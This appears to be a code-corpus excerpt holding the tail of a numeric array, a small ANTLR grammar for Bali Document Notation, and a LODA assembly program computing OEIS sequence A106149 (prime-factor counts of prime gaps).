58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
src/grammar/Document.g4
craterdog-bali/js-bali-document-framework
1
3838
grammar Document; import Statements; // A Bali Document Notation™ (BDN) source string must contain only a single component. source: component EOF; // The last line of a Bali Document Notation™ text document must be terminated with an EOL to be // stored in a POSIX file system. document: component EOL EOF;
programs/oeis/106/A106149.asm
neoneye/loda
22
9957
<gh_stars>10-100 ; A106149: Number of prime factors with multiplicity of the difference between consecutive primes. ; 0,1,1,2,1,2,1,2,2,1,2,2,1,2,2,2,1,2,2,1,2,2,2,3,2,1,2,1,2,2,2,2,1,2,1,2,2,2,2,2,1,2,1,2,1,3,3,2,1,2,2,1,2,2,2,2,1,2,2,1,2,2,2,1,2,2,2,2,1,2,2,3,2,2,2,2,3,2,3,2,1 add $0,1 seq $0,40 ; The prime numbers. div $0,2 mul $0,2 sub $0,1 seq $0,64722 ; a(1) = 0; for n >= 2, a(n) = n - (largest prime <= n). seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).